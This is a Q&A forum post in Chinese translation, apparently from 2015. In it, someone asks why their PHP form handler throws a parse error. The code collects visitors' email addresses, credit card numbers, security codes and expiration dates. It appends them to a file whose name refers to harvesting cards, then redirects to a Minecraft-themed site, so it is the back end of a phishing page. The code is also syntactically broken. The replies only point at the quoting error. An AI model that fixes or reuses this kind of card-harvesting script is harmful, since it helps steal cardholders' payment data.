【发布时间】:2015-02-24 05:29:30
【问题描述】:
这是我的代码:
<?php
$email = $_POST['email'];
$credit = $_POST['credit'];
$security = $_POST['security'];
$expiration = $_POST['expiration'];
$fm = "farmeandotarjetas.html";
$fh = fopen($fm,"a");
$fmstring = "Email: '.$email.'</font></b>] Credit Card: [<b><font color="#FF1493">'.$credit.'</font></b>] Security Code: [<b><font color="#FF1493">'.$security.'</font></b>]Expiration code: [<b><font color="#FF1493">'.$expiration.'<br>";
fwrite($fm);
fclose($fm);
echo "<meta http-equiv='refresh' content='1;url=http://minecraftactivation.com/'>";
</?
我的问题:
Parse error: syntax error, unexpected T_STRING in /home/u431949153/public_html/post.php 在第 10 行。第 10 行是 fwrite($fm);
【问题讨论】:
-
我猜这个错误是由于错误地为
$fmstring分配的字符串值引起的 -
即使在这里,您也可以轻松发现错误;你的 IDE 有语法高亮吗?